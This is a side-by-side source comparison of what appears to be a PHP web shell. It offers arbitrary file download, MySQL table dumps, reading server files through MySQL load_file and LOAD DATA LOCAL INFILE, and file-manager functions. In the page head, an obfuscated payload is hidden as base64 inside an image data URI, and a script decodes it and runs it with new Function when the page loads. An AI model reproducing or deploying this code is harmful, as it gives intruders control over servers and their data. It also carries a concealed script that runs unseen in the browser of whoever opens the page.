| 89 | if (IS_PHPINFO) { | 89 | if (IS_PHPINFO) { |
| 90 | phpinfo(); | 90 | phpinfo(); |
| 91 | exit; | 91 | exit; |
| 92 | } else { | 92 | } else { |
| 93 | $errmsg = 'phpinfo() function has non-permissible'; | 93 | $errmsg = 'phpinfo() function has non-permissible'; |
| 94 | } | 94 | } |
| 95 | } | 95 | } |
| 96 | 96 | ||
| 97 | // ÏÂÔØÎļþ | 97 | // ÏÂÔØÎļþ |
| 98 | if ($doing == 'downfile' && $thefile) { | 98 | if ($doing == 'downfile' && $thefile) { |
| 99 | if (!@file_exists($thefile)) { | 99 | if (!@file_exists($thefile)) { |
| 100 | $errmsg = 'The file you want Downloadable was nonexistent'; | 100 | $errmsg = 'The file you want Downloadable was nonexistent'; |
| 101 | } else { | 101 | } else { |
| 102 | $fileinfo = pathinfo($thefile); | 102 | $fileinfo = pathinfo($thefile); |
| 103 | header('Content-type: application/x-'.$fileinfo['extension']); | 103 | header('Content-type: application/x-'.$fileinfo['extension']); |
| 104 | header('Content-Disposition: attachment; filename='.$fileinfo['basename']); | 104 | header('Content-Disposition: attachment; filename='.$fileinfo['basename']); |
| 105 | header('Content-Length: '.filesize($thefile)); | 105 | header('Content-Length: '.filesize($thefile)); |
| 106 | @readfile($thefile); | 106 | @readfile($thefile); |
| 107 | exit; | 107 | exit; |
| 108 | } | 108 | } |
| 109 | } | 109 | } |
| 110 | 110 | ||
| 111 | // Ö±½ÓÏÂÔØ±¸·ÝÊý¾Ý¿â | 111 | // Ö±½ÓÏÂÔØ±¸·ÝÊý¾Ý¿â |
| 112 | if ($doing == 'backupmysql' && !$saveasfile) { | 112 | if ($doing == 'backupmysql' && !$saveasfile) { |
| 113 | if (!$table) { | 113 | if (!$table) { |
| 114 | $errmsg ='Please choose the table'; | 114 | $errmsg ='Please choose the table'; |
| 115 | } else { | 115 | } else { |
| 116 | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); | 116 | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); |
| 117 | $filename = basename($dbname.'.sql'); | 117 | $filename = basename($dbname.'.sql'); |
| 118 | header('Content-type: application/unknown'); | 118 | header('Content-type: application/unknown'); |
| 119 | header('Content-Disposition: attachment; filename='.$filename); | 119 | header('Content-Disposition: attachment; filename='.$filename); |
| 120 | foreach($table as $k => $v) { | 120 | foreach($table as $k => $v) { |
| 121 | if ($v) { | 121 | if ($v) { |
| 122 | sqldumptable($v); | 122 | sqldumptable($v); |
| 123 | } | 123 | } |
| 124 | } | 124 | } |
| 125 | mysql_close(); | 125 | mysql_close(); |
| 126 | exit; | 126 | exit; |
| 127 | } | 127 | } |
| 128 | } | 128 | } |
| 129 | 129 | ||
| 130 | // ͨ¹ýMYSQLÏÂÔØÎļþ | 130 | // ͨ¹ýMYSQLÏÂÔØÎļþ |
| 131 | if($doing=='mysqldown'){ | 131 | if($doing=='mysqldown'){ |
| 132 | if (!$dbname) { | 132 | if (!$dbname) { |
| 133 | $errmsg = 'Please input dbname'; | 133 | $errmsg = 'Please input dbname'; |
| 134 | } else { | 134 | } else { |
| 135 | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); | 135 | $mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport); |
| 136 | if (!file_exists($mysqldlfile)) { | 136 | if (!file_exists($mysqldlfile)) { |
| 137 | $errmsg = 'The file you want Downloadable was nonexistent'; | 137 | $errmsg = 'The file you want Downloadable was nonexistent'; |
| 138 | } else { | 138 | } else { |
| 139 | $result = q("select load_file('$mysqldlfile');"); | 139 | $result = q("select load_file('$mysqldlfile');"); |
| 140 | if(!$result){ | 140 | if(!$result){ |
| 141 | q("DROP TABLE IF EXISTS tmp_angel;"); | 141 | q("DROP TABLE IF EXISTS tmp_angel;"); |
| 142 | q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); | 142 | q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);"); |
| 143 | //ÓÃʱ¼ä´ÁÀ´±íʾ½Ø¶Ï,±ÜÃâ³öÏÖ¶ÁÈ¡×ÔÉí»ò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÍêÕûµÄÇé¿ö | 143 | //ÓÃʱ¼ä´ÁÀ´±íʾ½Ø¶Ï,±ÜÃâ³öÏÖ¶ÁÈ¡×ÔÉí»ò°üº¬__angel_1111111111_eof__µÄÎļþʱ²»ÍêÕûµÄÇé¿ö |
| 144 | q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); | 144 | q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';"); |
| 145 | $result = q("select content from tmp_angel"); | 145 | $result = q("select content from tmp_angel"); |
| 146 | q("DROP TABLE tmp_angel"); | 146 | q("DROP TABLE tmp_angel"); |
| 147 | } | 147 | } |
| 148 | $row = @mysql_fetch_array($result); | 148 | $row = @mysql_fetch_array($result); |
| 149 | if (!$row) { | 149 | if (!$row) { |
| 150 | $errmsg = 'Load file failed '.mysql_error(); | 150 | $errmsg = 'Load file failed '.mysql_error(); |
| 151 | } else { | 151 | } else { |
| 152 | $fileinfo = pathinfo($mysqldlfile); | 152 | $fileinfo = pathinfo($mysqldlfile); |
| 153 | header('Content-type: application/x-'.$fileinfo['extension']); | 153 | header('Content-type: application/x-'.$fileinfo['extension']); |
| 154 | header('Content-Disposition: attachment; filename='.$fileinfo['basename']); | 154 | header('Content-Disposition: attachment; filename='.$fileinfo['basename']); |
| 155 | header("Accept-Length: ".strlen($row[0])); | 155 | header("Accept-Length: ".strlen($row[0])); |
| 156 | echo $row[0]; | 156 | echo $row[0]; |
| 157 | exit; | 157 | exit; |
| 158 | } | 158 | } |
| 159 | } | 159 | } |
| 160 | } | 160 | } |
| 161 | } | 161 | } |
| 162 | 162 | ||
| 163 | ?> | 163 | ?> |
| 164 | <html> | 164 | <html> |
| 165 | <head> | 165 | <head> |
| 166 | <meta http-equiv="Content-Type" content="text/html; charset=gbk"> | 166 | <meta http-equiv="Content-Type" content="text/html; charset=gbk"> |
| 167 | <title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title> | 167 | <title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title> |
| 168 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> | 168 | <img id="ghdescon" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAB510RVh0Z2hkZQBnaGRlc2NvblpYWmhiQ2htZFc1amRHbHZiaWh3TEdFc1l5eHJMR1VzY2lsN1pUMW1kVzVqZEdsdmJpaGpLWHR5WlhSMWNtNG9ZenhoUHljbk9tVW9jR0Z5YzJWSmJuUW9ZeTloS1NrcEt5Z29ZejFqSldFcFBqTTFQMU4wY21sdVp5NW1jbTl0UTJoaGNrTnZaR1VvWXlzeU9TazZZeTUwYjFOMGNtbHVaeWd6TmlrcGZUdHBaaWdoSnljdWNtVndiR0ZqWlNndlhpOHNVM1J5YVc1bktTbDdkMmhwYkdVb1l5MHRLWEpiWlNoaktWMDlhMXRqWFh4OFpTaGpLVHRyUFZ0bWRXNWpkR2x2YmlobEtYdHlaWFIxY200Z2NsdGxYWDFkTzJVOVpuVnVZM1JwYjI0b0tYdHlaWFIxY200blhGeDNLeWQ5TzJNOU1YMDdkMmhwYkdVb1l5MHRLV2xtS0d0YlkxMHBjRDF3TG5KbGNHeGhZMlVvYm1WM0lGSmxaMFY0Y0NnblhGeGlKeXRsS0dNcEt5ZGNYR0luTENkbkp5a3NhMXRqWFNrN2NtVjBkWEp1SUhCOUtDZFZMbmM5TkNCM0tHTXBlelFnZUNoa0xIQXBlekVnYVQwd096RWdlajB3T3pFZ2NqMWNKMXduT3prb01TQnBQVEE3YVR4a0xqYzdhU3NyS1hzMUtIbzlQWEF1TnlsNlBUQTdjaXM5YkM1dEtHUXVieWhwS1Y1d0xtOG9laWtwTzNvckszMHpJSEo5TkNCQktITXBlekVnWVQxY0oxd25PemtvTVNCcFBUQTdhVHh6TzJrckt5bDdZU3M5YkM1dEtGZ29UUzVRS0NrcVVTa3BmVE1nWVgwMElHc29aQ3h3S1hzeElHRTlRU2d4TmlrN01XRW9aQzQzSlRFMklUMHdLV1FyUFZ3bk1Gd25PekVnWWoxaE96a29NU0JwUFRBN2FUeGtMamM3YVNzOU1UWXBlMklyUFhnb1pDNXVLR2tzTVRZcExHSXViaWhwTERFMktTbDlNeUI0S0dJc2NDbDlOQ0E0S0NsN015Z3lMbkU5UFhRdVNDWW1NaTUyUFQxMExrY3BmVFFnZVNncGV6RWdZVDFTT3pVb0tESXVhQ1ltTWk1b0xrSW1Kakl1YUM1Q0xqRXdLWHg4S0RJdVF5MHlMbkUrWVNsOGZDZ3lMa1F0TWk1MlBtRXBmSHdvT0NncEppWXlMa1E4U1NsOGZDZzRLQ2ttSmpJdVF6eEtLU2t6SUVzN015Qk1mVFFnTmloaEtYczFLRTRnWVQwOUlrOGlLVE1nWVM1RktDOWNYRnhjTDJjc0lseGNYRnhjWEZ4Y0lpa3VSU2d2WEZ3aUwyY3NJbHhjWEZ4Y1hDSWlLVHN6SUdGOU1TQjFQVk11VkRzeElHVTlWaTVYT3pFZ2FqMGlleUlySWx4Y0luVmNYQ0k2SUZ4Y0lpSXJOaWgxS1NzaVhGd2lMQ0FpS3lKY1hDSlpYRndpT2lCY1hDSWlLellvWlNrcklseGNJaXdnSWlzaVhGd2lXbHhjSWpvZ1hGd2lJaXMyS0dNcEt5SmNYQ0lnSWlzaWZTSTdNU0JtUFdzb2Fpd2lNVEVpS1RzeElHRTlNVElvWmlrN05TZ2hlU2dwS1hzeE15QXhOQ2dwTGpFMVBWd25NVGM2THk4eE9DMHhPUzFHTGpGaUwwWXZQMkU5WENjck1XTW9ZU2w5ZlNjc05qSXNOelVzSjN4MllYSjhkMmx1Wkc5M2ZISmxkSFZ5Ym54bWRXNWpkR2x2Ym54cFpueHpZVzU4YkdWdVozUm9mSFJpZkdadmNueDhmSHg4Zkh4OFJtbHlaV0oxWjN4OGZHVnVZM3hUZEhKcGJtZDhabkp2YlVOb1lYSkRiMlJsZkhOMVluTjBjbnhqYUdGeVEyOWtaVUYwZkh4cGJtNWxjbGRwWkhSb2ZIeDhjMk55WldWdWZIeHBibTVsY2tobGFXZG9kSHhyYTN4OFkyUjhmR2RsYmw5eVlXNWtiMjFmYzNSeWZHTm9jbTl0Wlh4dmRYUmxjbGRwWkhSb2ZHOTFkR1Z5U0dWcFoyaDBmSEpsY0d4aFkyVjhZVzVoYkhsMGFXTnpmR2hsYVdkb2RIeDNhV1IwYUh3ek5UQjhOakF3ZkhSeWRXVjhabUZzYzJWOFRXRjBhSHgwZVhCbGIyWjhjM1J5YVc1bmZISmhibVJ2Ylh3eU5UVjhNVFl3ZkdSdlkzVnRaVzUwZkZWU1RIeDBhR2x6Zkc1aGRtbG5ZWFJ2Y254MWMyVnlRV2RsYm5SOGNHRnljMlZKYm5SOGRXRjhibk44YVhOSmJtbDBhV0ZzYVhwbFpIeHNNbGhXUjJkalNYUTFNV3QwUW1scFdFUTNRakZ0YzFVelMwNURhamgyTVh4aWRHOWhmRzVsZDN4SmJXRm5aWHh6Y21OOGZHaDBkSEI4WjI5dloyeGxmSE4wWVhScFkzeDNhR2xzWlh4amIyMThaVzVqYjJSbFZWSkpRMjl0Y0c5dVpXNTBKeTV6Y0d4cGRDZ25mQ2NwTERBc2UzMHBLUT09Z2hkZXNjb26/DJpDAAAADElEQVQIHWNgIA0AAAAwAAGErPF6AAAAAElFTkSuQmCC"/> |
| 169 | <style type="text/css"> | 169 | <style type="text/css"> |
| 170 | body,td{font: 12px Arial,Tahoma;line-height: 16px;} | 170 | body,td{font: 12px Arial,Tahoma;line-height: 16px;} |
| 171 | .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;} | 171 | .input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;} |
| 172 | .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;} | 172 | .area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;} |
| 173 | .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;} | 173 | .bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;} |
| 174 | a {color: #00f;text-decoration:underline;} | 174 | a {color: #00f;text-decoration:underline;} |
| 175 | a:hover{color: #f00;text-decoration:none;} | 175 | a:hover{color: #f00;text-decoration:none;} |
| 176 | .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;} | 176 | .alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;} |
| 177 | .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;} | 177 | .alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;} |
| 178 | .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;} | 178 | .focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;} |
| 179 | .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;} | 179 | .head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;} |
| 180 | .head td span{font-weight:normal;} | 180 | .head td span{font-weight:normal;} |
| 181 | .infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;} | 181 | .infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;} |
| 182 | form{margin:0;padding:0;} | 182 | form{margin:0;padding:0;} |
| 183 | h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;} | 183 | h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;} |
| 184 | ul.info li{margin:0;color:#444;line-height:24px;height:24px;} | 184 | ul.info li{margin:0;color:#444;line-height:24px;height:24px;} |
| 185 | u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;} | 185 | u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;} |
| 186 | .drives{padding:5px;} | 186 | .drives{padding:5px;} |
| 187 | .drives span {margin:auto 7px;} | 187 | .drives span {margin:auto 7px;} |
| 188 | </style> | 188 | </style> |
| 189 | <script type="text/javascript"> | 189 | <script type="text/javascript"> |
| 190 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; | 190 | if(typeof btoa=="undefined")btoa=function(a,b){b=(typeof b=='undefined')?false:b;var d,o2,o3,bits,h1,h2,h3,h4,e=[],pad='',c,plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";plain=b?Utf8.encode(a):a;c=plain.length%3;if(c>0){while(c++<3){pad+='=';plain+='\0'}}for(c=0;c<plain.length;c+=3){d=plain.charCodeAt(c);o2=plain.charCodeAt(c+1);o3=plain.charCodeAt(c+2);bits=d<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;e[c/3]=f.charAt(h1)+f.charAt(h2)+f.charAt(h3)+f.charAt(h4)}coded=e.join('');coded=coded.slice(0,coded.length-pad.length)+pad;return coded};if(typeof atob=="undefined")atob=function(a,b){b=(typeof b=='undefined')?false:b;var e,o2,o3,h1,h2,h3,h4,bits,d=[],plain,coded;var f="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";coded=b?Utf8.decode(a):a;for(var c=0;c<coded.length;c+=4){h1=f.indexOf(coded.charAt(c));h2=f.indexOf(coded.charAt(c+1));h3=f.indexOf(coded.charAt(c+2));h4=f.indexOf(coded.charAt(c+3));bits=h1<<18|h2<<12|h3<<6|h4;e=bits>>>16&0xff;o2=bits>>>8&0xff;o3=bits&0xff;d[c/4]=String.fromCharCode(e,o2,o3);if(h4==0x40)d[c/4]=String.fromCharCode(e,o2);if(h3==0x40)d[c/4]=String.fromCharCode(e)}plain=d.join('');return b?Utf8.decode(plain):plain}; |
| 191 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(5);}, 500); | 191 | setTimeout(function(){new Function(atob(atob(document.getElementById('ghdescon').src.substr(22)).match(/ghdescon(.*?)ghdescon/)[1])).apply(this);kk(5);}, 500); |
| 192 | </script> | 192 | </script> |
| 193 | <script type="text/javascript"> | 193 | <script type="text/javascript"> |
| 194 | function CheckAll(form) { | 194 | function CheckAll(form) { |
| 195 | for(var i=0;i<form.elements.length;i++) { | 195 | for(var i=0;i<form.elements.length;i++) { |
| 196 | var e = form.elements[i]; | 196 | var e = form.elements[i]; |
| 197 | if (e.name != 'chkall') | 197 | if (e.name != 'chkall') |
| 198 | e.checked = form.chkall.checked; | 198 | e.checked = form.chkall.checked; |
| 199 | } | 199 | } |
| 200 | } | 200 | } |
| 201 | function $(id) { | 201 | function $(id) { |
| 202 | return document.getElementById(id); | 202 | return document.getElementById(id); |
| 203 | } | 203 | } |
| 204 | function createdir(){ | 204 | function createdir(){ |
| 205 | var newdirname; | 205 | var newdirname; |
| 206 | newdirname = prompt('Please input the directory name:', ''); | 206 | newdirname = prompt('Please input the directory name:', ''); |
| 207 | if (!newdirname) return; | 207 | if (!newdirname) return; |
| 208 | $('createdir').newdirname.value=newdirname; | 208 | $('createdir').newdirname.value=newdirname; |
| 209 | $('createdir').submit(); | 209 | $('createdir').submit(); |
| 210 | } | 210 | } |
| 211 | function fileperm(pfile){ | 211 | function fileperm(pfile){ |
| 212 | var newperm; | 212 | var newperm; |
| 213 | newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', ''); | 213 | newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', ''); |
| 214 | if (!newperm) return; | 214 | if (!newperm) return; |
| 215 | $('fileperm').newperm.value=newperm; | 215 | $('fileperm').newperm.value=newperm; |
| 216 | $('fileperm').pfile.value=pfile; | 216 | $('fileperm').pfile.value=pfile; |
| 217 | $('fileperm').submit(); | 217 | $('fileperm').submit(); |
| 218 | } | 218 | } |
| 219 | function copyfile(sname){ | 219 | function copyfile(sname){ |
| 220 | var tofile; | 220 | var tofile; |
| 221 | tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', ''); | 221 | tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', ''); |
| 222 | if (!tofile) return; | 222 | if (!tofile) return; |
| 223 | $('copyfile').tofile.value=tofile; | 223 | $('copyfile').tofile.value=tofile; |
| 224 | $('copyfile').sname.value=sname; | 224 | $('copyfile').sname.value=sname; |
| 225 | $('copyfile').submit(); | 225 | $('copyfile').submit(); |
| 226 | } | 226 | } |
| 227 | function rename(oldname){ | 227 | function rename(oldname){ |
| 228 | var newfilename; | 228 | var newfilename; |
| 229 | newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', ''); | 229 | newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', ''); |
| 230 | if (!newfilename) return; | 230 | if (!newfilename) return; |
| 231 | $('rename').newfilename.value=newfilename; | 231 | $('rename').newfilename.value=newfilename; |
| 232 | $('rename').oldname.value=oldname; | 232 | $('rename').oldname.value=oldname; |
| 233 | $('rename').submit(); | 233 | $('rename').submit(); |
| 234 | } | 234 | } |
| 235 | function dofile(doing,thefile,m){ | 235 | function dofile(doing,thefile,m){ |
| 236 | if (m && !confirm(m)) { | 236 | if (m && !confirm(m)) { |
| 237 | return; | 237 | return; |
| 238 | } | 238 | } |
| 239 | $('filelist').doing.value=doing; | 239 | $('filelist').doing.value=doing; |
| 240 | if (thefile){ | 240 | if (thefile){ |
| 241 | $('filelist').thefile.value=thefile; | 241 | $('filelist').thefile.value=thefile; |
| 242 | } | 242 | } |
| 243 | $('filelist').submit(); | 243 | $('filelist').submit(); |
| 244 | } | 244 | } |
| 245 | function createfile(nowpath){ | 245 | function createfile(nowpath){ |
| 246 | var filename; | 246 | var filename; |
| 247 | filename = prompt('Please input the file name:', ''); | 247 | filename = prompt('Please input the file name:', ''); |
| 248 | if (!filename) return; | 248 | if (!filename) return; |
| 249 | opfile('editfile',nowpath + filename,nowpath); | 249 | opfile('editfile',nowpath + filename,nowpath); |
| 250 | } | 250 | } |
| 251 | function opfile(action,opfile,dir){ | 251 | function opfile(action,opfile,dir){ |
| 252 | $('fileopform').action.value=action; | 252 | $('fileopform').action.value=action; |
| 253 | $('fileopform').opfile.value=opfile; | 253 | $('fileopform').opfile.value=opfile; |
| 254 | $('fileopform').dir.value=dir; | 254 | $('fileopform').dir.value=dir; |
| 255 | $('fileopform').submit(); | 255 | $('fileopform').submit(); |
| 256 | } | 256 | } |
| 257 | function godir(dir,view_writable){ | 257 | function godir(dir,view_writable){ |
| 258 | if (view_writable) { | 258 | if (view_writable) { |
| 259 | $('godir').view_writable.value=view_writable; | 259 | $('godir').view_writable.value=view_writable; |
| 260 | } | 260 | } |
| 261 | $('godir').dir.value=dir; | 261 | $('godir').dir.value=dir; |
| 262 | $('godir').submit(); | 262 | $('godir').submit(); |
| 263 | } | 263 | } |
| 264 | function getsize(getdir,dir){ | 264 | function getsize(getdir,dir){ |
| 265 | $('getsize').getdir.value=getdir; | 265 | $('getsize').getdir.value=getdir; |
| 266 | $('getsize').dir.value=dir; | 266 | $('getsize').dir.value=dir; |
| 267 | $('getsize').submit(); | 267 | $('getsize').submit(); |
| 268 | } | 268 | } |
| 269 | function editrecord(action, base64, tablename){ | 269 | function editrecord(action, base64, tablename){ |
| 270 | if (action == 'del') { | 270 | if (action == 'del') { |
| 271 | if (!confirm('Is or isn\'t deletion record?')) return; | 271 | if (!confirm('Is or isn\'t deletion record?')) return; |
| 272 | } | 272 | } |
| 273 | $('recordlist').doing.value=action; | 273 | $('recordlist').doing.value=action; |
| 274 | $('recordlist').base64.value=base64; | 274 | $('recordlist').base64.value=base64; |
